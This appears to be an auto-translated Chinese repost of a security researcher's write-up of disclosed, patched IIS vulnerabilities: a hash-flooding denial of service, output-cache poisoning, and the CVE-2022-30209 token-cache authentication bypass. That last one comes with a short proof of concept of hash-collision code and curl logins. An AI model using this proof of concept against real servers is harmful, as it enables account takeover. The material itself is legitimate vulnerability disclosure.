开卷有益 · 不求甚解
嗨,这是我第五次在Black Hat USA和DEFCON上发言。您可以在那里获取幻灯片副本和视频:
作为计算机科学中最基本的数据结构,哈希表被广泛用于计算机基础设施,如操作系统、编程语言、数据库和 Web 服务器。此外,由于其重要性,微软很早就设计了自己的哈希表算法,并将其大量应用于其 Web 服务器 IIS。
由于 IIS 并没有发布其源代码,我猜算法实现细节应该是一个未探索的领域,可以发现 bug。因此,本研究主要关注哈希表的实现及其使用。我们还研究了缓存机制,因为 IIS 中的大多数哈希表使用都与缓存相关!
因为大部分细节都在幻灯片中,所以这次请原谅我写了这篇简短的文章而不是完整的博客。
PS 此博客中解决的所有漏洞均已负责任地向 Microsoft 报告,并已于 2022 年 7 月修补。
很难想象2022年我们还能在IIS中看到像Hash-Flooding Attack这样经典的算法复杂性攻击。虽然微软已经配置了一个线程每30秒删除一次过期记录来缓解攻击,但我们还是发现了一个key-splitting bug在实现中将我们的权力放大 10 倍以上,以零哈希击败守护者。通过这个错误,我们可以使默认安装的 IIS 服务器以每秒大约 30 个连接的速度无响应!
由于此错误也符合Windows Insider Preview 赏金计划的条件,因此我们还为此 DoS 奖励了 30,000 美元。这是拒绝服务类别的最高奖金!
您可以在此处查看完整的演示视频:https://www.youtube.com/embed/VtnDkzYPNCk
与其他奇妙的 Cache Poisoning 研究相比,这个比较平淡。该错误出现在输出缓存的组件中,该模块负责缓存动态响应以减少对 Web 堆栈上昂贵的数据库或文件系统的访问。
输出缓存使用错误的查询字符串解析器,当查询字符串键重复时,它只将第一次出现作为缓存键。这种行为实际上并不是独立的问题。但是,从后端ASP.NET的整个体系结构来看,这是一个麻烦。后端将所有重复键的值连接在一起,这导致解析器行为之间的不一致。因此,一个经典的 HTTP 参数污染可以使 IIS 缓存错误的结果!
这可能是这次谈话中最有趣的错误。LKRHash 是微软于 1997 年设计并获得专利的哈希表算法。它基于线性哈希,由微软研究院的Paul Larson 、IIS 团队的 Murali Krishnan 和 George Reilly 创建。
LKRHash 旨在在多线程和多核环境下构建可扩展的高并发哈希表。创建者付出了很多努力来使此实现具有可移植性、灵活性和可定制性,以适应 Microsoft 的多种产品。应用程序可以定义自己的表相关函数,例如散列函数、键提取函数或键比较函数。这种可扩展性为漏洞挖掘创造了大量机会。所以,在这种背景下,我们更关心的是记录、键和函数之间的关系。
CLKRHashTable::CLKRHashTable(
this,
"TOKEN_CACHE", // An identifier for debugging
pfnExtractKey, // Extract key from record
pfnCalcKeyHash, // Calculate hash signature of key
pfnEqualKeys, // Compare two keys
pfnAddRefRecord, // AddRef in FindKey, etc
4.0, // Bound on the average chain length.
1, // Initial size of hash table.
0, // Number of subordinate hash tables.
0 // Allow multiple identical keys?
);
因为“登录”是一项开销很大的操作,为了提高性能,IIS默认缓存了所有基于密码的身份验证的令牌,例如基本身份验证,而我们这次发现的bug位于key-comparing函数的逻辑中发生碰撞。
如果登录尝试的哈希值命中了一个已经在缓存中的键,LKRHash 会进入应用程序特定的pfnEqualKeys
函数来确定该键是否正确。具体应用逻辑TokenCacheModule
如下:
由于逻辑比较了几个部分来做出决定,所以 IIS 比较用户名两次的原因很奇怪。
我猜最初的意图是比较密码。但是,开发人员复制并粘贴了代码,却忘记替换变量名。这导致攻击者可以使用随机密码重用另一个用户的登录令牌。
要构建最小的 PoC 来测试您自己的,您可以创建一个测试帐户并在 IIS 上配置基本身份验证。
# add a test account, please ensure to remove that after testing
> net user orange test-for-CVE-2022-30209-auth-bypass /add# the source of login is not important, this can be done outside IIS.
> curl -I -su 'orange:test-for-CVE-2022-30209-auth-bypass' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK
在攻击者的终端下:
# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return jassert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')
# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized
# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK
如您所见,攻击者可以使用orange
与原始密码相同的另一个密码登录用户。
但是,碰撞哈希并不容易。每次尝试的概率仅值 1/2^32,因为哈希是 32 位整数,攻击者无法知道现有缓存键的哈希。像玩彩票一样利用这个漏洞是一个荒谬的数字。唯一的优点是尝试不花钱,而且您可以无限次尝试!
为了让这个 bug 更实用,我们提出了几种中奖方式,例如:
我们还证明了这种攻击在 Microsoft Exchange Server 上自然有效。利用默认激活的Exchange Active Monitoring
服务,我们可以HealthMailbox
不用密码进入邮箱!这种无需身份验证的帐户劫持对于进一步的利用非常有用,例如网络钓鱼或将另一个经过身份验证的 RCE 链接在一起!
近期阅读文章
,质量尚可的,大部分较新,但也可能有老文章。开卷有益,不求甚解
,不需面面俱到,能学到一个小技巧就赚了。译文仅供参考
,具体内容表达以及含义, 以原文为准
(译文来自自动翻译)尽量阅读原文
。(点击原文跳转)每日早读
基本自动化发布(不定期删除),这是一项测试
最新动态: Follow Me
微信/微博:
red4blue
公众号/知乎:
blueteams